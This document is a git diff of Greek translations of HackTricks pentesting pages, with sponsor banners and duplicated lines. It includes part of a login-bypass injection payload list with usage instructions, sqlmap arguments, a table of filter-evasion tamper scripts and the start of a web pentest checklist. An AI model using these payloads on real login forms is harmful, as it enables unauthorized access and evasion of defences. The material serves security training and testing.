* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) * [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,22 +1,30 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Αυτή η λίστα περιέχει **payloads για να παρακαμφθεί η σύνδεση μέσω XPath, LDAP και SQL injection** (με αυτή τη σειρά). #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
Ο τρόπος χρήσης αυτής της λίστας είναι να βάλεις τις **πρώτες 200 γραμμές ως το όνομα χρήστη και τον κωδικό πρόσβασης.** Στη συνέχεια, βάλτε τη πλήρη λίστα πρώτα στο όνομα χρήστη και μετά στα πεδία κωδικού πρόσβασης, ενώ βάζετε κάποιον κωδικό (όπως _Pass1234._) ή κάποιο γνωστό όνομα χρήστη (όπως _admin_). **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Αυτή η λίστα περιέχει **payloads για να παρακάμψετε την είσοδο μέσω XPath, LDAP και SQL injection** (με αυτή τη σειρά).
Ο τρόπος χρήσης αυτής της λίστας είναι να βάλετε τις **πρώτες 200 γραμμές ως το όνομα χρήστη και τον κωδικό πρόσβασης.** Στη συνέχεια, βάλτε τη συνολική λίστα πρώτα στο όνομα χρήστη και μετά στα πεδία κωδικού πρόσβασης, ενώ βάζετε κάποιον κωδικό πρόσβασης (όπως _Pass1234._) ή κάποιο γνωστό όνομα χρήστη (όπως _admin_).
``` ```
admin admin
password password
@ -823,13 +831,22 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2 %8C%A8%27)||1-- 2
%bf')||1-- 2 %bf')||1-- 2
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,13 +17,15 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic arguments for SQLmap ## Βασικά επιχειρήματα για το SQLmap
### Generic ### Γενικά
```bash ```bash
-u "<URL>" -u "<URL>"
-p "<PARAM TO TEST>" -p "<PARAM TO TEST>"
@ -78,7 +80,7 @@ sqlmap -u "http://example.com/?id=*" -p id
```bash ```bash
sqlmap -u "http://example.com" --data "username=*&password=*" sqlmap -u "http://example.com" --data "username=*&password=*"
``` ```
### Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP ### Ενέσεις σε Κεφαλίδες και άλλες Μεθόδους HTTP
```bash ```bash
#Inside cookie #Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*" sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -158,31 +160,31 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 | | apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode | | apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload | | appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload | | base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' | | between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE | | bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | | chardoubleencode.py | Διπλά κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' | | commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' | | commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | | charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
| charunicodeencode.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" | | charunicodeencode.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" | | charunicodeescape.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE' | | equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE' |
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") | | escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' | | greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | | halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' | | ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό έκδοσης | | modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης | | modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | | multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα | | nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα | | percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | | overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου | | randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL | | randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | | securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
| sp\_password.py | Προσθέτει 'sp\_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS | | sp\_password.py | Προσθέτει 'sp\_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια | | space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | | space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
@ -192,20 +194,22 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') | | space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | | space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') | | space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) | | space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | | space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και | | symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | | unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) | | unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' | | uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' | | varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση | | versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση | | versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | | xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε μια πλήρη pentest από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -6,7 +6,7 @@
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,33 +15,42 @@
</details> </details>
{% endhint %} {% endhint %}
Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε ελέγξει για ευπάθειες σε όλες τις πιθανές θέσεις. <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε ελέγξει για ευπάθειες σε όλα τα πιθανά μέρη.
## Proxies ## Proxies
{% hint style="info" %} {% hint style="info" %}
Σήμερα, οι **web** **εφαρμογές** συνήθως **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend. Σήμερα, οι **διαδικτυακές** **εφαρμογές** συνήθως **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **proxies**, οι οποίες μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο proxy για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
{% endhint %} {% endhint %}
* [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md) * [ ] [**Κατάχρηση hop-by-hop headers**](abusing-hop-by-hop-headers.md)
* [ ] [**Cache Poisoning/Cache Deception**](cache-deception/) * [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/) * [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
* [ ] [**H2C Smuggling**](h2c-smuggling.md) * [ ] [**H2C Smuggling**](h2c-smuggling.md)
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md) * [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
